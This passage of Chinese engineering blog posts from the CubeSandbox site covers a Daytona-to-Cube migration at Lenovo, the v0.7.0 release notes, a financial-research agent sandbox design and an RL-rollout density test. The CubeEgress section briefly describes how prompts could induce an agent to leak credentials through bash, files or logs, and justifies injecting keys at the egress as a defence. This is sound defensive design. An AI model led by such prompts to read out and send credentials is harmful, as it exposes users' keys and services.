整体放进沙箱，让沙箱成为一个可以备份、可以回退的独立运行节点。两个阶段之间，沙箱的使用模式发生了根本性的变化。本文详细记录了联想云端 Agent 从 Daytona 迁移到 Cube 的完整过程，以供其他迁移者参考。 ## 一、迁移背景与选型 联想研究院 AI Lab 的云端 Agent 是一个通用产品，用户通过会话与 Agent 交互，Agent 在执行任务时涉及代码执行、文件操作、浏览器自动化等动作。出于数据安全和操作安全考虑，这些动作被放到沙箱中执行——每个会话启动时都会拉起一个新沙箱。 联想研究院 AI Lab 早期选用的是 Daytona 沙箱。但随着功能完善，沙箱内预装软件越来越多（Playwright、noVNC 等），启动时间最终超过 10 秒。工程团队做过一系列优化，压到 5 秒左右，但代价是代码复杂度大幅上升。且 5 秒仍然不够快，尤其是后续规划中有批量并发场景，这个延迟会被放大成严重瓶颈。此外，Daytona SaaS 版还有网络限制，需要用企业 VPN 才能访问。 启动慢、网络受限、SaaS 成本，三个问题叠加，AI Lab 团队开始找替代方案。 选型的核心关注点有两个：第一，国产化，希望技术栈纯国产化；第二，启动和并发性能。联想研究院 AI Lab 随后对 Cube 性能做了系列对比，验证在相同配置下，Cube 的沙箱启动能从 10 秒以上直接压缩到 100 毫秒以下。 成本上省去 SaaS 服务费用，网络上本地部署免去了需要企业 VPN 才能访问的问题。于是，AI Lab 正式开始了从 Daytona 向 Cube 的迁移。 ## 二、迁移过程：三步走及适配层策略 迁移的真正工作量不在 Cube 这端，而在"解除与 Daytona 的耦合"——Daytona 和 E2B（Cube 兼容）的 API 不兼容，没法做简单的接口替换。联想研究院 AI Lab 的整体迁移分三步走： **第一步：解除强绑定。** 开发时虽然注意了沙箱接口隔离，但实际代码中仍有不少地方与 Daytona 耦合，例如沙箱创建参数、生命周期管理、文件操作等调用方式都带有 Daytona 特有约定。这一步要做的，是把所有直接耦合的代码找出来，抽象成中立的接口定义。 **第二步：做适配层。** 过渡阶段，AI Lab 做了一个 SDK 层的适配层，同时支持 Daytona 和 E2B 接口。因为 Cube 本身兼容 E2B 接口，适配层已经预留好了接入点。 具体实现上，适配层定义了一个统一的 Sandbox Provider 基类，Daytona 和 E2B 两套接口分别继承自这个基类，也就是实现了两种接口的调用。一种接口是 Daytona，它从原有代码里抽取出来，保留原有调用逻辑；另一部分实现了 E2B 接口。由于二者在功能上大部分能对齐，所以共享同一套抽象方法，上层业务代码调用统一的 Provider 接口，不感知底层差异。运行时具体走哪个接口，由配置文件指定实现完成——底层可以挂 Daytona，也可以挂 Cube 服务（Cube 兼容 E2B 接口），未来要接入更多沙箱服务时，新增 Provider 即可，对上层业务零侵入。 ![适配层架构，Sandbox Provider 继承关系](./assets/2026-08-20-lenovo-cloud-agent/01-adapter-architecture.jpg) *图 1：适配层架构，Sandbox Provider 继承关系* **第三步：完成适配层与 Cube 对接。** 适配层就位后，最后一步是把底层的 E2B 兼容接口对接到 Cube。由于 Cube 本身兼容 E2B 接口，这一步工作量相对可控。 ![完整迁移流程图](./assets/2026-08-20-lenovo-cloud-agent/02-migration-flow.jpg) *图 2：完整迁移流程图* ## 三、迁移中的实践与踩坑 迁移到 Cube 后，原先 Daytona 沙箱里预装的 Playwright、noVNC 等一整套软件需要重新制作成模板。这个过程出乎意料地顺利——借助 AI 辅助，先生成 Docker 镜像，再转成 Cube 模板，几乎一个命令就完成了。相比 Daytona 时期走 SaaS 流程的模板制作，Cube 本地部署后迭代速度明显更快，调试也方便，可以大胆尝试各种预装组合：往模板里塞不同类型的 Agent、加各种工具和软件，试错成本很低。 李健表示，1.0 版本上线后，显性收益最先体现：启动速度从 10 秒以上压到 100 毫秒以下，用户几乎无感等待；SaaS 费用省掉，VPN 问题也随之消失。隐性收益则在调试体验上，本地部署后可以直接查看沙箱状态、日志和资源占用，模板迭代变成了一个快速试错的过程。 唯一踩到的坑是 Volume 功能。在 Daytona 时期，团队通过 Volume 功能映射 S3 桶实现沙箱间的文件共享。迁到 Cube 后，Cube 本身也有挂载能力，但早期版本存在一个严重限制：不同沙箱不能共同修改同一个挂载的文件夹，否则沙箱休眠时会导致快照损坏。这对联想研究院 AI Lab 的业务场景影响很大，2.0 模式下，多个沙箱需要共享同一份数据，共享写入是刚需。Cube 在后续发布的 v0.6.0 中改进了这一机制，目前多沙箱共享挂载已经可以正常工作。 ## 四、从 1.0 到 2.0：沙箱角色的转变 1.0 稳定运行后，产品演进到 2.0。从 1.0 到 2.0，不是简单的功能迭代，而是沙箱使用模式的根本变化。 1.0 阶段，沙箱是"工具执行容器"，每次会话起一个新沙箱，用完即弃，无状态、短生命周期；2.0 阶段，沙箱变成了"独立运行环境"。 2.0 的架构源自一个现实约束。原来的设计是在用户本地电脑上装守护进程，服务端通过它控制本地 AI Agent。但这个设计有两个局限：有些用户需要更干净的本地环境，不想在本地装一堆 Agent 依赖；有些用户根本没有适合部署 Agent 的电脑。解决方案是把守护进程和 Agent 整体放进 Cube 沙箱——服务端通过另一个守护进程与部署 Cube 沙箱的服务器交互，沙箱内运行着守护进程加 Agent，形成一个干净的独立环境。即使没有合适的电脑，也能通过沙箱把系统跑起来。 这个转变的真正价值在于，沙箱不再是用完即弃的执行容器，而是一个可以长期运行、可以备份、可以回退的独立节点。2.0 的典型场景是：任务进行到某个节点时，用户可能想尝试不同的后续方向，这时打一个快照，后续走不通就回退重新开始。这种"备份-回退"能力在 1.0 的用完即弃模式下根本用不上，但在 2.0 模式下成了核心能力——它让沙箱从"跑完就扔"变成了"可以反复试探的实验场"。 但 2.0 模式也带来了一个新问题。多个沙箱长期运行在服务器上，每个里面都有正在进行的任务，而服务器偶尔需要重启——重启之后，没有做过快照的沙箱就消失了。李健提到，这个问题也是联想研究院 AI Lab 应用当前版本 Cube 遇到的最大的疑惑，希望能重点解决服务器重启后沙箱不丢的问题。 这确实是 Cube 当前的一个架构约束。沙箱基于 MicroVM 加快照恢复，运行时状态在内存中，重启即清空；文件系统数据可以通过 Volume 持久化，但内存里的进程状态和会话上下文，目前只能靠手动或定时打快照来保存。 但好消息是，Cube 计划在 **v0.7.0 推出跨机恢复——关机前先把沙箱暂停，迁移到另一台机器上恢复，相当于把"重启即丢失"变成"重启前可迁移"。** 如涉及类似需求的企业或团队，欢迎持续关注 Cube 即将发布的 v0.7.0。 **在功能落地之前，2.0 场景下还需要业务侧自己做一层定时快照调度来兜底。** ## 五、给后来者的建议 谈到对准备从 Daytona 迁移的团队的建议，李健反馈："其实没有想象的麻烦，我们的迁移还是比较顺利的，功能方面基本都能覆盖住 Daytona 的功能。"从这次迁移的经验来看，有几个点值得提前准备，希望能给正在评估迁移的同行提供参考： * **接口解耦是最大的工作量。** Daytona 和 Cube/E2B 的 API 不兼容，迁移前最好先梳理一遍所有与沙箱交互的代码，把直接耦合的部分抽象成中立接口。 * **迁移的关键是做适配层，而非直接替换。** 过渡阶段同时支持两套接口，可以在迁移过程中保持业务连续性，降低风险。 * **模板制作成本很低，大胆尝试。** Cube 本地部署后，借助 AI 辅助，镜像制作几乎是一个命令的事。不要被"重建预装环境"这个预期吓到。 * **提前规划 Volume 和快照策略。** 如果业务场景涉及长期运行的沙箱（类似 2.0 模式），需要在迁移前就想好持久化策略——哪些数据需要 Volume 持久化、哪些沙箱需要定时快照、重启后如何恢复。这些问题在 1.0 模式下不会暴露，但在 2.0 模式下会成为核心风险。 ## 写在最后 这次迁移最值得记录的，不是"启动速度从 10 秒压到 100 毫秒"这个数字，更值得记录的是，换一个沙箱平台这件事，最终推动了产品架构的演进。 1.0 阶段，沙箱是一个"每次会话起一个"的隔离执行容器。迁到 Cube 之后，因为启动快、部署灵活、模板制作成本低，团队很自然地开始探索"能不能把更多东西放进沙箱"——于是有了 2.0 的"守护进程 + Agent 整体入沙箱"架构，沙箱从"工具执行容器"变成了"独立运行环境"。从"用完即弃"到"长期运行"，沙箱的生命周期管理复杂度会上升一个台阶。这个问题不只是 Cube 要解决的，也是所有想把沙箱当运行环境用的团队需要共同面对的。 *感谢联想 AI 工程师李健老师接受 Cube 项目组访谈并对本文内容的贡献。* --- --- url: https://cubesandbox.com/zh/blog/posts/2026-08-28-cubesandbox-v0.7.0-release.md description: >- 在 v0.6.0 中，我们把 CubeSandbox 送进了 Kubernetes，也交付了兼容 E2B 的 Volume 框架。v0.7.0 解决了生产用户最在意的两个问题：沙箱跨机器流动，以及升级不再打断已有资产。 --- # CubeSandbox v0.7.0 发布：沙箱跨机流动，集群平滑演进 在 v0.6.0 中，我们把 CubeSandbox 送进了 Kubernetes，也交付了兼容 E2B 的 Volume 框架。控制面能以标准工作负载运行，计算节点作为可调度资源纳入集群，存储的选择权回到了用户手里。 但不少团队真正把集群跑起来之后，会遇到一个最大的问题：沙箱只能待在一开始的那台机器上。暂停的沙箱换不了机器恢复，快照也只能在原节点用；更麻烦的是，组件一升级，之前做好的模板和快照就对不上了，只能重做。这两件事，正是生产用户最在意的。 于是，在 v0.7.0 中，我们将这些"需求"正式推上了研发日程：让沙箱跨机器流动，让升级不再打断已有资产。 ## 1、跨机暂停恢复 过去，沙箱的 `pause/resume` 与基于快照的创建都绑定在单台宿主机上，在哪台机器暂停，就只能在哪台机器恢复。v0.7.0 **基于 S3 后端存储，将沙箱的内存与文件系统状态落到共享对象存储，从而支持在 A 节点暂停、在 B 节点恢复，也支持在任意已同步节点上用同一份快照拉起新沙箱。** 举个例子：一台计算节点要下线检修，上面还挂着一批暂停的沙箱。过去只能干等它们在本机恢复，或直接丢弃；现在可以把这些沙箱迁移到别的节点再恢复，节点排空不必再以牺牲沙箱为代价。再比如 Agent 训练这类需要大规模并行、频繁暂停恢复的场景，调度器可以按各节点的实时负载把沙箱放到最空闲的机器上。 该能力当前为预览版，默认由内置 MinIO 承载 S3 后端，用户也可自行指定对象存储。 ## 2. 组件多版本共存 跨机流动会涉及一个连带问题：不同节点、不同时间构建的模板和快照，可能依赖不同版本的运行时组件；组件一旦升级，老的模板、快照就对不上，只能重做。**v0.7.0 让计算节点保留历史版本的组件，模板与快照不再因组件升级而失效，升级也不会打断已有实例的 pause/resume。** 在这之前，一个已经跑在生产上的集群，如果想升级到新版本修 bug，可能需要对现存的模板和快照集体作废，业务得停下来重新烤制。因此，对于需要长期迭代、持续升级的集群，v0.7.0 的这项特性更新，是从「每次升级都重做」到「升级和存量资产解耦」的重要转变。 ## 3、网络子系统重构，加速沙箱网络创建流程 网络创建在沙箱冷启动链路上一直是关键路径，批量拉起时尤为明显。**v0.7.0 将原先独立的 NetworkAgent 整体合并到 Cubelet 中，减少沙箱创建流程中的 RPC 调用；同时优化 eBPF 网络策略下发路径，大幅降低带有网络规则的沙箱的创建延迟；并且优化高并发创建时 Tap 设备分配的稳定性。** 一个请求同时拉起上百个沙箱时，每个沙箱少两次 RPC、少一次 RCU 等待，这些开销随批量成比例叠加，冷启动时间因此下降。TAP 生命周期重构之后，节点重启、沙箱恢复时的网络异常也更少复现。 ## 4、控制面、运维架构分离 **v0.7.0 将节点管理等运维能力从 CubeMaster 迁移至 CubeOps。** CubeOps 现在承载完整的节点管理，默认双副本部署，并用 cubeopscli 取代原先 cubemastercli 的 node 子命令；Web UI 同步提供节点隔离/解除隔离和节点操作记录查看。 那么，运维发现某台节点磁盘异常后，可以在 Web UI 上将这台节点隔离，让存量沙箱继续运行，新沙箱调度到别处。这样的优化能让组件职责边界更清楚：调度归 CubeMaster，运维归 CubeOps。 ## 其他值得一提的特性 四条核心特性之外，v0.7.0 还重点实现了一批功能增强和 bug 修复。 * **三语言 SDK 能力拉齐。** Volume CRUD 与 volumeMounts 挂载此前只有 Python 支持，v0.7.0 在 Go 与 Node SDK 上补齐，三语言能力拉齐。模板别名此前覆盖不完整，这一版补齐了构建期别名与现有模板别名管理两个阶段，覆盖 Go / Node / Python。此外，Python SDK 支持用 `distribution_scope` 显式指定沙箱放到哪些节点或区域，Node SDK 支持运行时设置 NEVER\_TIMEOUT，Go SDK 新增按用户身份隔离的文件视图 `Files.ForUser`。 * **存储块设备与模板来源扩展。** 新增基于 SPDK 的 CubeS3lvol COW：一个以 S3 对象存储为后端的远程写时复制块设备，本地写时分配、异步落 S3，经 `NVMe-oF/TCP` Loopback 导出给宿主，支持快照/克隆与跨节点导入导出，靠本地 WAL + journal 保证崩溃一致性。v0.7.0 内置 MinIO 作为默认 S3 卷后端，开箱即用；私有 HTTP 镜像仓库也能直接作为模板来源，不必再为内网镜像单独搭 HTTPS。 * **网络策略动态化与转发可配置。** 沙箱支持在运行时动态更新网络策略，无需重建即可调整规则；CubeEgress 的七层转发规则支持自定义端口，CubeProxy 支持自定义管理端口并新增明文 gRPC ingress，CubeVS 引入同子网 MAC 地址学习，避开非 hairpin 通信的黑洞。passfd 改用 bare-pipe vsock 直连，提升业务进程的 IO 效率。内核与 guest 镜像产物改为独立发布，发版时从固定的 kernel-release-\* / guest-image-\* 拉取，不再每次重新编译。 * **高频问题、稳定性问题等 bug 修复。** v0.7.0 集中处理了一批生产环境里出现频率较高的问题：暂停/恢复引发的状态不一致、僵尸进程与删除异常（PR [#978](https://github.com/TencentCloud/CubeSandbox/pull/978) / [#985](https://github.com/TencentCloud/CubeSandbox/pull/985) / [#1137](https://github.com/TencentCloud/CubeSandbox/pull/1137) / [#1274](https://github.com/TencentCloud/CubeSandbox/pull/1274)），快照性能问题（PR [#1300](https://github.com/TencentCloud/CubeSandbox/pull/1300) / [#1504](https://github.com/TencentCloud/CubeSandbox/pull/1504)），并发创建沙箱时的模板缓存数据竞争（PR [#1366](https://github.com/TencentCloud/CubeSandbox/pull/1366)），以及节点重启场景下 TAP 设备恢复异常（PR [#930](https://github.com/TencentCloud/CubeSandbox/pull/930) / [#987](https://github.com/TencentCloud/CubeSandbox/pull/987) / [#1207](https://github.com/TencentCloud/CubeSandbox/pull/1207)）。 ## Coming Soon…… 跨机能力落地后，Cube Sandbox 会继续沿着「云原生 + 高可用」方向，向更深处挖掘： * **沙箱异常恢复**：自动检测并恢复 VM Crash、shim 进程卡死、网络分区等状态，恢复策略可配置（重启 / 回滚快照 / 向调用方报错）； * **调度与运维能力增强**：资源感知调度、亲和/反亲和规则、优先级类，以及在线资源均衡和带沙箱迁移的节点排空。 更近的迭代版本（v0.7.1 或 0.8.0）中，有两项我们正在推进的：1）**控制链路全路径高可用**：模版制作管理从 CubeMaster 分离；CLM（cube-lifecycle-manager）支持多副本部署； 2）**沙箱异常恢复，节点故障沙箱可以跨节点恢复。** 欢迎给 Cube 提 PR 或 Issue，参与 Roadmap 设计讨论，一起推动 Cube Sandbox 的演进。 完整 Changelog：https://github.com/TencentCloud/CubeSandbox/blob/master/docs/zh/changelog/v0.7.0.md Cube Sandbox 开源仓库地址：https://github.com/TencentCloud/CubeSandbox --- --- url: https://cubesandbox.com/zh/blog/posts/2026-08-28-horizon-insights.md description: >- 金融投研 Agent 的一次 run，往往要持续几十秒到数分钟，期间会读取研究方法和数据定义、调用数据接口、运行脚本、生成中间文件、再由模型整理结果。承载它的沙箱不能只是跑一段代码，而是要把完整的 Agent 循环放进隔离环境。本文介绍 CubeSandbox 在弘则 4as Agent 中的三个核心使用场景。 --- # 金融投研 Agent 沙箱化：弘则信息基于 CubeSandbox 的选型与架构实践 作者｜弘则弥道首席技术官 · 王正凯 **编者按｜** 金融投研 Agent 的一次 run，往往要持续几十秒到数分钟，期间会读取研究方法和数据定义、调用数据接口、运行 Python 或 Node 脚本、生成中间文件、再由模型整理结果。执行过程中接触的动作、文件和外部服务无法在发布时完全枚举。这意味着，承载它的沙箱不能只是"跑一段代码"，而是要把完整的 Agent 循环放进隔离环境。 本文介绍 CubeSandbox 在弘则 4as Agent 中的三个核心使用场景：完整 Pi loop 在 Sandbox 内运行，DAS 共享资源通过 Host Mount 分发，模型及工具凭据通过 CubeEgress 在出口侧注入。随后说明本地化部署、接口兼容、性能和生产运维方面的实际体验。 ## 一、业务背景：投研 Agent 的受控执行环境 弘则信息是弘则研究旗下的 AI 创新团队，服务于各类金融投资与研究机构。团队建设的 4as（All (Domain) Agents as a Service）是一套金融投研 Agent 产品，将领域知识、研究方法、数据工具和持续状态组织为可部署的研究 Agent。4as 已在多个商业合作项目中完成落地部署，面向更多机构用户的 Cloud 版服务也将于近期推出。 4as 中的研究 Agent 需要完成资料读取、数据处理、代码执行、文件生成、外部工具调用和多轮模型交互。单次任务通常持续几十秒到数分钟，执行过程会接触用户工作区和外部服务，具体动作也无法在发布时完全枚举。因此，系统需要处理以下约束： * 每次 Agent run 具有独立的进程和文件边界； * 领域资源按用户授权和版本挂载； * 用户私有文件与平台共享资源分开保存； * Sandbox 可以回收，业务状态和研究结果持续保留； * 外部模型及数据服务可访问，长期凭据不进入 guest 环境； * 同一套 Agent runtime 能够运行在中心环境和客户侧部署中。 其中，CubeSandbox 为 4as 提供了统一的沙箱执行底座。它为每次 Agent run 创建独立执行环境，承担运行模板、文件与命令执行、领域资源挂载、受控出网和 Sandbox 生命周期管理。此外，BWA（Bounded Workspace Agent）是 4as 的受控运行时，在 CubeSandbox 基础能力之上组织产品所需的权限、状态、工作区和交互协议。 ## 二、技术架构：Pi loop 在 CubeSandbox 内运行 4as 的核心 Agent 执行基于 Mario Zechner 开源的 Pi coding agent SDK。团队将完整的模型—工具主循环称为 Pi loop，并在 Pi SDK 之上增加 scope、Workspace、任务生命周期、事件协议和 Sandbox adapter。 生产路径中的 Pi SDK 与完整主循环都运行在 CubeSandbox guest 内。一次 loop 包含 `session.prompt()` 驱动的模型往返、工具选择与执行、bash 和文件操作、MCP 工具调用、事件流以及会话状态推进。CubeSandbox 为这些动作提供同一个隔离的进程、文件和网络环境。 当前执行链路由四层组成：Host 提供面向用户的产品界面和后端接口，完成身份校验后将请求和 scope 转交 BWA Runtime。BWA 校验 tenant、user、DAS 和 thread，通过 E2B-compatible API 创建或复用 CubeSandbox 实例，管理 run 的状态、取消、超时、工作区路径和持久化 checkpoint。CubeSandbox 承载执行面，Pi runner 随 Sandbox template 进入 guest，负责具体的模型与工具循环。 ![4as 投研 Agent 执行链路](./assets/2026-08-28-horizon-insights/01-agent-execution-flow.jpg) *图 1：4as 投研 Agent 执行链路* Guest 产生的 token、tool event、状态和文件变化先通过内部执行协议返回 BWA，BWA 再转换为自身稳定的 SSE 事件发送给前端。前端只依赖 BWA 契约，不感知 Cube Sandbox 的创建接口、动态 hostname 或内部 runner 协议，三层因此可以分别演进。这套分工的核心是将执行生命周期与业务生命周期分开：Cube Sandbox 承载可回收的计算过程，BWA 及其持久化存储保留用户工作区、研究产出和 thread 状态。沙箱销毁后，业务状态仍可在下一次运行中恢复。 ## 三、Host Mount：按版本分发领域资源 DAS（Domain Analyst Service）是 4as 中的领域分析师服务。其共享定义包含领域知识、研究方法、数据引用、资产、确定性计算代码和 Function 定义。DAS 与普通 Skill 的区别在于：Skill 描述一类动作的执行方法，DAS 描述一个持续运行的领域分析师，即可分发的领域定义 + 受管理状态 + 状态转移机制。 DAS 的共享定义需要分发到每个执行环境。如果每次 run 都通过文件 API 把大型领域资源搬运进沙箱，开销会很高。我们用 Cube Sandbox 的 Host Mount 解决这个问题。Host Mount 负责分发其中共享、版本化、只读的部分。大致的分发链路是： ![DAS 分发链路](./assets/2026-08-28-horizon-insights/02-das-distribution.jpg) *图 2：DAS 分发链路* Host Mount 在这里的几个关键约束构成了分发机制的基础：每个 revision 对应一份不可变文件树，BWA 只为当前 run 授权的 DAS 生成挂载项，readOnly 固定为 true，宿主路径位于限定的共享目录中，路径白名单和只读属性共同约束挂载范围。这意味着 Pi 可以像读取本地文件一样消费这些资源，但运行中的 Agent 无法原地修改已发布版本——领域能力升级只能通过 FCP 发布新 revision 完成。DAS 的可变部分走另一条路径：用户私有工作区、实例当前状态和状态转移产生的结果由运行时持久化，不写回共享挂载目录。运行状态与共享定义由此形成两类独立所有权，前者属于具体实例，后者属于可分发版本。 这种分发方式解决了几个实际问题： * 大型领域资源无需在每次 run 中通过文件 API 重复搬运； * 多个 Sandbox 可以消费同一份宿主缓存，文件内容仍按 revision 固定； * 授权结果直接体现在挂载清单中，未挂载的领域资源对 guest 不可见； * 共享定义保持只读，Agent 产出统一进入私有工作区； * 中心环境和客户侧环境使用相同的 revision 与目录语义。 Host Mount 因而成为 DAS 分发链路的一部分。它连接了 4as 内容与版本控制面 FCP 的发布流程和 Cube Sandbox 内的实际执行，同时保持共享定义、实例状态和用户文件之间的边界。 ## 四、CubeEgress：在出口侧管理凭据 Sandbox 内的 Pi 需要访问模型服务、MCP 服务和部分数据接口。将长期 API key 写入 guest 环境会扩大暴露范围：进程、脚本、调试输出和误操作都可能接触凭据。 对于由模型自主调用工具的 Agent，长期 key 一旦进入文件系统或环境变量，就进入了 Agent 可访问的执行边界；用户或其他上游输入可能直接要求读取，也可能通过 prompt 诱导 Agent 使用 bash、文件工具、日志或任务结果带出凭据。 ![CubeEgress 凭据注入链路](./assets/2026-08-28-horizon-insights/03-cubeegress-credential.jpg) *图 3：CubeEgress 凭据注入链路* 我们用 CubeEgress 在出口侧管理凭据。BWA 在创建 Sandbox 时只传递 Egress 所需的受控配置，长期凭据保存在出口侧。请求离开 Sandbox 时，CubeEgress 根据目标服务匹配策略并注入相应认证信息。Guest 中的代码按照普通 HTTP 或 SDK 方式调用服务，Workspace、prompt 和进程环境中不保存长期 key。 这套设计在凭据隔离之外还有几个直接价值：凭据保留在 guest 之外，由平台集中轮换或撤销，并限制允许访问的目标；Sandbox template 无需随 key 变化而重建；模型调用、MCP 工具和遥测出口可以采用一致的网络边界。 对金融场景来说，这几点都是必备需求，凭据的轮换周期、访问目标的约束、审计边界都需要由平台侧统一控制，而不是交给每个 Agent 实例自行管理。Host Mount 的只读分发和 CubeEgress 的出口注入一起，构成了 4as 沙箱化的两条数据面支柱：版本化资源按需可见，长期凭据按需注入。 ## 五、选型 Cube Sandbox 的考量 我们当时对 CubeSandbox 的选型，主要考量了部署边界、接口兼容和运行时等方面能力，核心的评估如下： * **部署边界方面**：金融机构经常要求应用运行在指定云环境、专有网络或客户侧基础设施中，E2B Cloud 等托管沙箱无法覆盖这类要求。CubeSandbox 可以部署在自有环境和客户侧节点中，两种形态保持相近的 API 和运行模型。 * **接口兼容方面**：BWA 的 Sandbox adapter 基于 E2B-compatible API，CubeSandbox 保留了这一接口模型，Sandbox 创建、文件操作、命令执行和动态访问可以沿用现有 SDK 习惯。本地部署与 API 兼容是两个独立维度——执行环境由团队或客户运营，上层 runtime 仍可使用成熟的 SDK 契约，减少了专有适配代码。该组合减少了 BWA 的专有适配代码，也为后续版本升级保留了清晰边界。 * **数据面完整性方面**：自建容器执行层需要自行补齐模板、实例生命周期、动态访问、共享资源挂载、出站代理和凭据管理。CubeSandbox 已提供这些基础组件，BWA 可以集中处理 Agent 产品语义。Host Mount 和 CubeEgress 对当前业务的作用尤其直接。前者承接版本化领域资源分发，后者承接模型与工具服务的凭据边界。这两项能力已经进入生产运行链路，选型价值能够落实到具体架构中。 * **维护响应方面**：CubeSandbox 维护团队对技术问题响应及时，版本更新频率较高，问题能够较快进入定位和沟通。 * **启动速度与开销方面**：当前任务以模型推理、数据访问、代码处理和文件生成组成，单次 run 的主要耗时通常来自模型与工具调用。CubeSandbox 的启动速度和运行开销能够满足现有任务需求。 ## 六、Cube Sandbox 在生产化中的探索与优化经验 经过中心环境和客户侧项目的实际运行，生产化过程中的配套工作主要集中在生命周期和宿主数据面，其中有一些我们的实践和优化值得分享： * **pause/resume 的 seccomp 兼容问题**：在启用沙箱自动 pause 时，曾出现 seccomp 兼容问题，当前相关环境关闭自动 pause，保留正常 idle 回收。`pause/resume` 作为 Cube 的密度优化特性，在金融场景的保守内核配置下需要单独评估，不能直接默认开启。 * **CoreDNS 重启影响 Egress 策略路由**：CoreDNS 或系统网络服务重启可能影响动态域名和 Egress 策略路由。CubeEgress 的出口注入依赖域名解析和策略路由的稳定性，DNS 层的抖动会直接传导到 Egress 链路。我们现已增加联动恢复与周期性校验，而不是依赖单次配置生效。 * **控制面健康不等于数据路径通畅**：控制面健康检查无法覆盖完整数据路径——CubeSandbox 控制面报 healthy，不代表 Sandbox 创建、文件写入、资源挂载、真实 Egress 这条链路都能跑通。我们的发布验收因此扩展为端到端验证：Sandbox 创建 → 文件写入 → 资源挂载 → 真实 Egress → 任务完成 → 回收，任何一环失败都视为发布未通过。 * **大版本升级需要重新核对宿主配置**：Cube Sandbox 大版本升级后，生命周期参数、Proxy 配置和自定义入口等宿主侧配置需要重新应用并核对。这些配置散布在宿主机的多个位置，升级脚本不会自动保留——目前需要人工对照清单逐项检查。 Cube Sandbox 将开源可部署、E2B-compatible API、Host Mount 和 CubeEgress 组合为一套完整的沙箱基础设施，使 4as 能够以同一套 Agent runtime 支撑客户侧部署和即将推出的 Cloud 版服务。投研 Agent 的长任务、版本化领域资源和受控外部访问，也展现了 CubeSandbox 在单次代码执行之外承载完整 Agent runtime 的能力。随着 4as 服务更多金融投资与研究机构，Cube Sandbox 将继续作为这套产品的核心执行底座。 *感谢弘则弥道王正凯老师，对以上内容的贡献。* --- --- url: https://cubesandbox.com/zh/blog/posts/2026-09-01-unisound-rl-rollout.md description: >- Agent RL rollout 对沙箱的需求和普通 Agent 服务不同：每条轨迹都需要干净隔离的执行环境，生命周期分钟级，数量规模化并行，沙箱里可能运行模型生成的任意代码。云知声团队基于 128 核 251 GiB 单机配置、1 核 4096 MiB 沙箱规格，推导出调度上限 117、不超卖安全边界 58、实测稳态 80-100 三组数值。本文记录了从规格配置、调度参数推导到实测瓶颈的完整过程。 --- # 云知声工程实践：RL rollout 场景下的 CubeSandbox 密度边界压测 作者｜云知声 Atlas 智算团队 **编者按｜** Agent RL rollout 对沙箱的需求和普通 Agent 服务不同，比如每条轨迹都需要干净隔离的执行环境，生命周期分钟级，数量规模化并行，沙箱里可能运行的是模型生成的任意代码。当标准参数真正落到工程实践场景时，往往会受到负载特征、调度参数、资源超卖、运行时峰值等多重因素影响。 云知声团队在用 Cube 支撑 SWE Agent rollout 和 RL 环境训练的实践中，基于 128 核 251 GiB 单机配置、1 核 4096 MiB 沙箱规格，推导出调度上限 117、不超卖的安全边界 58、实测稳态 80-100 三组数值。本文记录了从规格配置、调度参数推导到实测瓶颈的完整过程，以及实际运行中遇到的问题和解决方案。 ## 一、RL rollout 负载特征与选型考量 我们用 Cube Sandbox 支撑的是 Agent 轨迹 rollout，具体分为两类负载： 一类是 SWE Agent 数据合成，核心是批量让 agent 解决真实代码仓库里的问题，产出训练数据；另一类是 Agent RL 环境训练，强化学习阶段需要大量并行 episode 与环境交互。 这类负载有几个鲜明特征，也基本决定了技术选型方向：每条轨迹需要一个干净、隔离、可复现的执行环境；生命周期很短，通常分钟级；数量极大，属于规模化并行。更关键的一点在于，沙箱里跑的是模型生成的任意代码，行为不可预判——死循环、内存泄漏、fork 炸弹、异常网络调用都可能发生，这让"安全隔离"属性成为我们的硬指标。 对这类负载来说，吞吐比稳态存活数更值得关注。轨迹生命周期很短，沙箱创建、执行、销毁的频率远高于常驻服务，单节点每秒需要处理几十到上百个创建请求。对应的，Cubelet 的 workflow 并发配置为创建、销毁各 100，配合 Cube 毫秒级的启动能力，这个吞吐量级是能够支撑的。 我们选型阶段的核心判断在于隔离边界的差异。Cube Sandbox 的隔离边界在硬件虚拟化层，每个沙箱是一台独立的 KVM MicroVM，拥有自己的内核，这是它和我们评估过的其他方案最本质的差别。而 Docker 的隔离边界在 namespace 和 Cgroup，共享宿主内核。**对于执行不可信代码的场景，这个差别决定了能不能上生产**：namespace 和 Cgroup 的隔离强度，在 Agent 执行任意代码时存在逃逸风险，而 MicroVM 的硬件级边界能避免 Agent 影响宿主环境。 具体到几项核心需求，Cube 都有对应的能力设计。**安全隔离上**，MicroVM 的硬件级边界满足了不可信代码执行场景；**快速启动上**，大规模 rollout 需要秒级甚至毫秒级创建环境，Cube 把模板预先烤成不可变 rootfs，并在每个节点本地预存内存快照，起沙箱时走本地 reflink 克隆而非冷引导，官方标称 60ms 级冷启动；**环境复现上**，模板是一份不可变的 ext4 二进制产物，全节点分发同一份，避免了镜像层缓存或宿主差异导致的行为漂移；**资源控制上**，CPU、内存、网络都有约束手段，Cgroup 与 VM 边界双层生效，调度器统一记账。**高并发上**，Cube 单节点软件设计上限是 3000 个存活沙箱。Cube 原生也支持**内存加磁盘的完整快照**，MicroVM 快照可以从任意中间态分叉，这对 RL 训练的样本效率影响很直接。但当前快照这一层能力我们暂时还没有深度用起来。 业务侧完全通过 E2B SDK 接入。Cube 的沙箱 API 与 E2B 协议兼容，训练侧的调度代码无需特殊适配，这一点在我们选型时也是加分项。 不过，这套兼容也带来一个需要留意的行为细节：e2b SDK 默认的命令执行方式是 "bash -lc command"，也就是先拉起一个全新的 Bash 登录 shell（login shell），再在这个新 shell 里执行指定命令。单次执行时这个默认行为没有问题，但如果任务本身分两阶段执行（比如先跑一次评测准备、再跑一次评测本体），问题就会在第二阶段暴露出来：每次命令执行都会重新拉起一个登录 shell，第一阶段设置的环境变量、PATH 路径等状态不会带到第二阶段，导致两阶段环境不一致。 这个问题的根因不在 Cube 本身，而在 E2B SDK 协议默认的执行方式——一旦确认命令执行走的是 login shell，现象就能解释清楚。我们的处理方式是，在两阶段任务之间把需要延续的环境变量显式重新设置一遍，而不是依赖 shell 状态自动延续下去。 ## 二、控制面与计算面的分离架构 我们的部署形态是 1 个控制节点加 N 个计算节点，控制节点自身也参与计算。 控制节点承载了 Cube 完整的控制面：cube-api 监听 3000 端口，是 SDK 的接入入口；CubeMaster 监听 8089，负责调度、模板中心和生命周期管理；cube-lifecycle-manager 驱动 AutoPause；cube-proxy 和 coredns 负责沙箱端口暴露；webui 跑在 12088；另外还有 MySQL 和 Redis 两个依赖组件。控制节点自身也跑着 network-agent 和 